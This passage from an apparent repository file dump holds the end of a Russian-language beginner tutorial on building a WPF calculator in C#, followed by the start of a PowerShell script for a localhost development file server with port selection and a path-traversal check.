class=\"c1\">// sender — это кнопка которую нажали</span>\n<span class=\"w\">            </span><span class=\"c1\">// Приводим к типу Button чтобы прочитать Content (текст на кнопке)</span>\n<span class=\"w\">            </span><span class=\"n\">Button</span><span class=\"w\"> </span><span class=\"n\">button</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">Button</span><span class=\"p\">)</span><span class=\"n\">sender</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">digit</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">button</span><span class=\"p\">.</span><span class=\"n\">Content</span><span class=\"p\">.</span><span class=\"n\">ToString</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">_waitingForSecond</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"c1\">// Начинаем вводить второе число — очищаем экран</span>\n<span class=\"w\">                </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">digit</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"n\">_waitingForSecond</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">false</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">            </span><span class=\"k\">else</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"c1\">// Добавляем цифру к тому что уже на экране</span>\n<span class=\"w\">                </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;0&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">                    </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">digit</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// заменяем ноль</span>\n<span class=\"w\">                </span><span class=\"k\">else</span>\n<span class=\"w\">                    </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">digit</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// дописываем в конец</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Вызывается при нажатии операции (+, -, *, /)</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Operation_Click</span><span class=\"p\">(</span><span class=\"kt\">object</span><span class=\"w\"> </span><span class=\"n\">sender</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">RoutedEventArgs</span><span class=\"w\"> </span><span class=\"n\">e</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Button</span><span class=\"w\"> </span><span class=\"n\">button</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">Button</span><span class=\"p\">)</span><span class=\"n\">sender</span><span class=\"p\">;</span>\n\n<span class=\"w\">            </span><span class=\"c1\">// Запоминаем первое число и операцию</span>\n<span class=\"w\">            </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">_operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">button</span><span class=\"p\">.</span><span class=\"n\">Content</span><span class=\"p\">.</span><span class=\"n\">ToString</span><span class=\"p\">();</span>\n<span class=\"w\">            </span><span class=\"n\">_waitingForSecond</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">true</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// следующие цифры — второе число</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Вызывается при нажатии точки</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Dot_Click</span><span class=\"p\">(</span><span class=\"kt\">object</span><span class=\"w\"> </span><span class=\"n\">sender</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">RoutedEventArgs</span><span class=\"w\"> </span><span class=\"n\">e</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"c1\">// Добавляем точку только если её ещё нет</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"p\">.</span><span class=\"n\">Contains</span><span class=\"p\">(</span><span class=\"s\">&quot;.&quot;</span><span class=\"p\">))</span>\n<span class=\"w\">                </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"s\">&quot;.&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Вызывается при нажатии =</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Equals_Click</span><span class=\"p\">(</span><span class=\"kt\">object</span><span class=\"w\"> </span><span class=\"n\">sender</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">RoutedEventArgs</span><span class=\"w\"> </span><span class=\"n\">e</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">_operation</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// операция не выбрана — ничего не делаем</span>\n\n<span class=\"w\">            </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">secondNumber</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n\n<span class=\"w\">            </span><span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">_operation</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">secondNumber</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">secondNumber</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">secondNumber</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">                    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">secondNumber</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">                    </span><span class=\"p\">{</span>\n<span class=\"w\">                        </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Ошибка&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">                        </span><span class=\"n\">_operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">                        </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">                    </span><span class=\"p\">}</span>\n<span class=\"w\">                    </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">secondNumber</span><span class=\"p\">;</span>\n<span class=\"w\">                    </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">                    </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n\n<span class=\"w\">            </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">.</span><span class=\"n\">ToString</span><span class=\"p\">();</span>\n<span class=\"w\">            </span><span class=\"n\">_operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// сбрасываем операцию</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"разбор-кода\">Разбор кода</h4>\n<p><strong>Три поля <code>_firstNumber</code>, <code>_operation</code>, <code>_waitingForSecond</code></strong></p>\n<p>Это поля класса (не локальные переменные!). Они живут пока живёт окно. Между нажатиями кнопок нам нужно помнить:</p>\n<ul>\n<li>Какое первое число ввёл пользователь</li>\n<li>Какую операцию он выбрал</li>\n<li>Что сейчас ждём второе число (чтобы не дописывать к первому)</li>\n</ul>\n<p>Если бы это были локальные переменные в методах — при каждом нажатии они создавались бы заново с нулевыми значениями.</p>\n<hr />\n<p><strong><code>private void Digit_Click(object sender, RoutedEventArgs e)</code></strong></p>\n<p><code>sender</code> — объект, который вызвал событие (кнопка которую нажали).<br />\n<code>RoutedEventArgs e</code> — информация о событии (нам пока не нужна).</p>\n<p>Оба параметра обязательны в сигнатуре обработчика событий WPF — так требует система. Ничего страшного если <code>e</code> не используется.</p>\n<hr />\n<p><strong><code>Button button = (Button)sender;</code></strong></p>\n<p><code>sender</code> имеет тип <code>object</code> (самый общий тип). Мы знаем что это кнопка, поэтому <strong>приводим к типу</strong> <code>Button</code>. Это как сказать: «я знаю что там кнопка, дай мне работать с ней как с кнопкой».</p>\n<hr />\n<p><strong><code>Display.Text</code></strong></p>\n<p><code>Display</code> — это имя TextBox которое мы дали через <code>x:Name=\"Display\"</code> в XAML. Свойство <code>.Text</code> — текст который отображается в поле. Мы читаем и записываем его прямо из C#.</p>\n<hr />\n<h3 id=\"шаг-6-запустить-и-проверить\">Шаг 6: Запустить и проверить</h3>\n<p>Нажми <strong>F5</strong>. Должно появиться окно с калькулятором.</p>\n<p>Попробуй: нажми <code>7</code>, потом <code>+</code>, потом <code>5</code>, потом <code>=</code>. На экране должно появиться <code>12</code>.</p>\n<hr />\n<h3 id=\"шаг-7-добавить-кнопку-c-очистить\">Шаг 7: Добавить кнопку C (очистить)</h3>\n<p>Сначала добавим кнопку в XAML. Найди строку с <code>Display</code> и добавь кнопку C рядом — сделаем её отдельной строкой сверху:</p>\n<p>Измени определение строк:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"nt\">&lt;Grid.RowDefinitions&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;60&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">  </span><span class=\"cm\">&lt;!-- строка 0: поле вывода --&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;45&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">  </span><span class=\"cm\">&lt;!-- строка 1: кнопка C --&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 2: 7 8 9 / --&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 3: 4 5 6 * --&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 4: 1 2 3 - --&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 5: 0 . = + --&gt;</span>\n<span class=\"nt\">&lt;/Grid.RowDefinitions&gt;</span>\n</code></pre></div>\n\n<p>Добавь кнопку C после поля Display:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;C&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.ColumnSpan=</span><span class=\"s\">&quot;4&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">Background=</span><span class=\"s\">&quot;#FFCC00&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Clear_Click&quot;</span><span class=\"nt\">/&gt;</span>\n</code></pre></div>\n\n<p>И увеличь номера строк у всех остальных кнопок на 1 (было <code>Grid.Row=\"1\"</code>, стало <code>Grid.Row=\"2\"</code> и т.д.).</p>\n<p>В коде C# добавь метод:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Clear_Click</span><span class=\"p\">(</span><span class=\"kt\">object</span><span class=\"w\"> </span><span class=\"n\">sender</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">RoutedEventArgs</span><span class=\"w\"> </span><span class=\"n\">e</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;0&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">_operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">_waitingForSecond</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">false</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"частые-ошибки-в-wpf-и-как-их-исправить\">Частые ошибки в WPF и как их исправить</h3>\n<h4 id=\"-не-удалось-найти-метод-digit_click\">❌ «Не удалось найти метод Digit_Click»</h4>\n<div class=\"highlight\"><pre><span></span><code>XamlParseException: &#39;Digit_Click&#39; event handler not found in &#39;WpfCalculator.MainWindow&#39;\n</code></pre></div>\n\n<p><strong>Причина:</strong> в XAML написано <code>Click=\"Digit_Click\"</code>, но в C# нет метода <code>Digit_Click</code> с правильной сигнатурой.</p>\n<p><strong>Решение:</strong> метод должен называться точь-в-точь как в XAML, и иметь параметры <code>(object sender, RoutedEventArgs e)</code>.</p>\n<hr />\n<h4 id=\"-display-не-существует-в-текущем-контексте\">❌ «Display не существует в текущем контексте»</h4>\n<p><strong>Причина:</strong> ты написал другое имя в XAML (<code>x:Name=\"display\"</code> строчными) и другое в коде (<code>Display.Text</code> — с заглавной).</p>\n<p><strong>Решение:</strong> имена чувствительны к регистру. <code>Display</code> и <code>display</code> — разные вещи. Убедись что совпадают.</p>\n<hr />\n<h4 id=\"-программа-компилируется-но-окно-не-открывается-сразу-закрывается\">❌ Программа компилируется, но окно не открывается / сразу закрывается</h4>\n<p><strong>Причина:</strong> скорее всего исключение в конструкторе или при инициализации.</p>\n<p><strong>Решение:</strong> запусти с отладчиком (F5) а не без него (Ctrl+F5). Visual Studio покажет где именно исключение.</p>\n<hr />\n<h4 id=\"-кнопки-расположены-не-там-где-ожидаешь\">❌ Кнопки расположены не там где ожидаешь</h4>\n<p><strong>Причина:</strong> перепутаны <code>Grid.Row</code> и <code>Grid.Column</code>.</p>\n<p><strong>Решение:</strong> нарисуй таблицу на бумаге. Строки — сверху вниз (0, 1, 2...). Столбцы — слева направо (0, 1, 2...). Нумерация с нуля.</p>\n<hr />\n<h4 id=\"-inputformatexception-при-нажатии-\">❌ <code>InputFormatException</code> при нажатии <code>=</code></h4>\n<p><strong>Причина:</strong> <code>double.Parse(Display.Text)</code> падает когда на экране текст вроде <code>\"Ошибка\"</code> или пустая строка.</p>\n<p><strong>Решение:</strong> используй <code>double.TryParse</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">secondNumber</span><span class=\"p\">))</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Display</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Ошибка ввода&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"шаг-8-сделать-красивее-необязательно\">Шаг 8: Сделать красивее (необязательно)</h3>\n<p>WPF позволяет менять стили. Добавь в XAML внутри <code>&lt;Window&gt;</code> перед <code>&lt;Grid&gt;</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"nt\">&lt;Window.Resources&gt;</span>\n<span class=\"w\">    </span><span class=\"cm\">&lt;!-- Стиль для всех кнопок --&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;Style</span><span class=\"w\"> </span><span class=\"na\">TargetType=</span><span class=\"s\">&quot;Button&quot;</span><span class=\"nt\">&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Setter</span><span class=\"w\"> </span><span class=\"na\">Property=</span><span class=\"s\">&quot;FontSize&quot;</span><span class=\"w\"> </span><span class=\"na\">Value=</span><span class=\"s\">&quot;18&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Setter</span><span class=\"w\"> </span><span class=\"na\">Property=</span><span class=\"s\">&quot;Margin&quot;</span><span class=\"w\"> </span><span class=\"na\">Value=</span><span class=\"s\">&quot;3&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Setter</span><span class=\"w\"> </span><span class=\"na\">Property=</span><span class=\"s\">&quot;Background&quot;</span><span class=\"w\"> </span><span class=\"na\">Value=</span><span class=\"s\">&quot;#E0E0E0&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Setter</span><span class=\"w\"> </span><span class=\"na\">Property=</span><span class=\"s\">&quot;BorderBrush&quot;</span><span class=\"w\"> </span><span class=\"na\">Value=</span><span class=\"s\">&quot;#AAAAAA&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Setter</span><span class=\"w\"> </span><span class=\"na\">Property=</span><span class=\"s\">&quot;Cursor&quot;</span><span class=\"w\"> </span><span class=\"na\">Value=</span><span class=\"s\">&quot;Hand&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;/Style&gt;</span>\n<span class=\"nt\">&lt;/Window.Resources&gt;</span>\n</code></pre></div>\n\n<p>Теперь можешь убрать <code>FontSize=\"18\" Margin=\"2\"</code> из каждой кнопки — стиль применится автоматически ко всем.</p>\n<hr />\n<h3 id=\"итог-wpf-калькулятора\">Итог WPF-калькулятора</h3>\n<p>Поздравляю — ты написал настоящее оконное приложение! Вот что ты использовал:</p>\n<table>\n<thead>\n<tr>\n<th>Что</th>\n<th>Зачем</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>XAML Grid</td>\n<td>Расположить элементы в таблице</td>\n</tr>\n<tr>\n<td><code>TextBox</code></td>\n<td>Поле ввода / вывода текста</td>\n</tr>\n<tr>\n<td><code>Button</code> с <code>Click</code></td>\n<td>Кнопка которая вызывает метод C#</td>\n</tr>\n<tr>\n<td>Поля класса</td>\n<td>Помнить состояние между нажатиями</td>\n</tr>\n<tr>\n<td><code>switch</code></td>\n<td>Выбрать нужную операцию</td>\n</tr>\n<tr>\n<td><code>double.Parse</code></td>\n<td>Превратить текст экрана в число</td>\n</tr>\n<tr>\n<td><code>x:Name</code></td>\n<td>Дать элементу имя для обращения из C#</td>\n</tr>\n</tbody>\n</table>\n<hr />\n<blockquote>\n<p><strong>Напоследок:</strong> Программирование — это навык. Как езда на велосипеде. Читать про него недостаточно — нужно делать. Каждый день пиши хоть что-то. Сломал — отладь. Не понимаешь — загугли. Главное — не останавливаться.</p>\n</blockquote>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "safenova/.server.ps1",
    "content": "# Tandem Local Dev Server\n# Run: right-click -> \"Run with PowerShell\"  |  or: .\\._server.ps1\n# Requirements: Windows only, no external dependencies\n\n# UTF-8 output so Cyrillic paths and special chars display correctly in console\n[Console]::OutputEncoding = [System.Text.Encoding]::UTF8\n$OutputEncoding           = [System.Text.Encoding]::UTF8\n\n# ── Config ────────────────────────────────────────────────────\n$PREFERRED_PORT = 7777\n$PORT_RANGE_MIN = 3000\n$PORT_RANGE_MAX = 9999\n$PORT_MAX_TRIES = 20\n$root           = $PSScriptRoot.TrimEnd('\\') + '\\'\n\n# ── MIME types ────────────────────────────────────────────────\n$mime = @{\n    \".html\"  = \"text/html; charset=utf-8\"\n    \".htm\"   = \"text/html; charset=utf-8\"\n    \".css\"   = \"text/css; charset=utf-8\"\n    \".js\"    = \"application/javascript; charset=utf-8\"\n    \".mjs\"   = \"application/javascript; charset=utf-8\"\n    \".json\"  = \"application/json; charset=utf-8\"\n    \".svg\"   = \"image/svg+xml\"\n    \".png\"   = \"image/png\"\n    \".jpg\"   = \"image/jpeg\"\n    \".jpeg\"  = \"image/jpeg\"\n    \".gif\"   = \"image/gif\"\n    \".webp\"  = \"image/webp\"\n    \".ico\"   = \"image/x-icon\"\n    \".woff\"  = \"font/woff\"\n    \".woff2\" = \"font/woff2\"\n    \".ttf\"   = \"font/ttf\"\n    \".otf\"   = \"font/otf\"\n    \".mp4\"   = \"video/mp4\"\n    \".webm\"  = \"video/webm\"\n    \".txt\"   = \"text/plain; charset=utf-8\"\n    \".xml\"   = \"application/xml; charset=utf-8\"\n}\n\n# ── Port availability check ───────────────────────────────────\n# Uses TcpListener to probe the port BEFORE passing it to HttpListener.\n# This avoids the misleading generic \"Access Denied\" exception from HttpListener.\nfunction Test-PortFree([int]$p) {\n    try {\n        $tcp = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Loopback, $p)\n        $tcp.Start()\n        $tcp.Stop()\n        return $true\n    } catch {\n        return $false\n    }\n}\n\n# ── Port selection ────────────────────────────────────────────\n# 1. Try preferred port first.\n# 2. Fall back to random ports in range until one is free.\n$port = $null\n\nif (Test-PortFree $PREFERRED_PORT) {\n    $port = $PREFERRED_PORT\n} else {\n    Write-Host \"\"\n    Write-Host \"  Port $PREFERRED_PORT is busy, picking a random one...\" -ForegroundColor DarkYellow\n\n    $rng  = [System.Random]::new()\n    for ($i = 0; $i -lt $PORT_MAX_TRIES; $i++) {\n        $candidate = $rng.Next($PORT_RANGE_MIN, $PORT_RANGE_MAX + 1)\n        if (Test-PortFree $candidate) {\n            $port = $candidate\n            break\n        }\n    }\n}\n\nif ($null -eq $port) {\n    Write-Host \"\"\n    Write-Host \"  [!] Could not find a free port after $PORT_MAX_TRIES attempts.\" -ForegroundColor Red\n    Write-Host \"      Range: $PORT_RANGE_MIN-$PORT_RANGE_MAX\" -ForegroundColor Red\n    Write-Host \"\"\n    Read-Host \"  Press Enter to exit\"\n    exit 1\n}\n\n# ── Start listener ────────────────────────────────────────────\n$prefix   = \"http://localhost:$port/\"\n$listener = [System.Net.HttpListener]::new()\n$listener.Prefixes.Add($prefix)\n\ntry {\n    $listener.Start()\n} catch {\n    Write-Host \"\"\n    Write-Host \"  [!] Failed to bind on port $port.\" -ForegroundColor Red\n    Write-Host \"      $_\" -ForegroundColor Red\n    Write-Host \"\"\n    Read-Host \"  Press Enter to exit\"\n    exit 1\n}\n\nWrite-Host \"\"\nWrite-Host \"  Tandem Sites - Dev Server\" -ForegroundColor Cyan\nWrite-Host \"  http://localhost:$port\" -ForegroundColor Cyan\nWrite-Host \"  Root: $root\" -ForegroundColor Cyan\nWrite-Host \"  Stop: Ctrl+C\" -ForegroundColor Cyan\nWrite-Host \"\"\n\nStart-Process $prefix\n\n# ── Request loop ──────────────────────────────────────────────\ntry {\n    while ($listener.IsListening) {\n        $ctx = $listener.GetContext()\n\n        # Per-request isolation — one bad request never crashes the loop\n        try {\n            $req  = $ctx.Request\n            $resp = $ctx.Response\n\n            $ts      = Get-Date -Format \"HH:mm:ss\"\n            $method  = $req.HttpMethod.ToUpper()\n            $urlPath = [System.Uri]::UnescapeDataString($req.Url.AbsolutePath)\n            $relPath = $urlPath.TrimStart('/')\n\n            # ── Security: block path traversal ──────────────\n            # Resolve to absolute path and verify it stays inside $root\n            $resolved = [System.IO.Path]::GetFullPath((Join-Path $root $relPath))\n            if (-not $resolved.StartsWith($root, [System.StringComparison]::OrdinalIgnoreCase)) {\n                $resp.StatusCode = 403\n                $body = [System.Text.Encoding]::UTF8.GetBytes(\"403 Forbidden\")\n                $resp.ContentType     = \"text/plain; charset=utf-8\"\n                $resp.ContentLength64 = $body.Length\n                $resp.OutputStream.Write($body, 0, $body.Length)\n                $resp.OutputStream.Close()\n                Write-Host \"  [$ts]  403  $urlPath  [traversal blocked]\" -ForegroundColor Red\n                continue\n            }\n\n            $filePath = $resolved\n\n            # ── Directory: redirect to trailing slash ────────\n            if ((Test-Path $filePath -PathType Container) -and -not 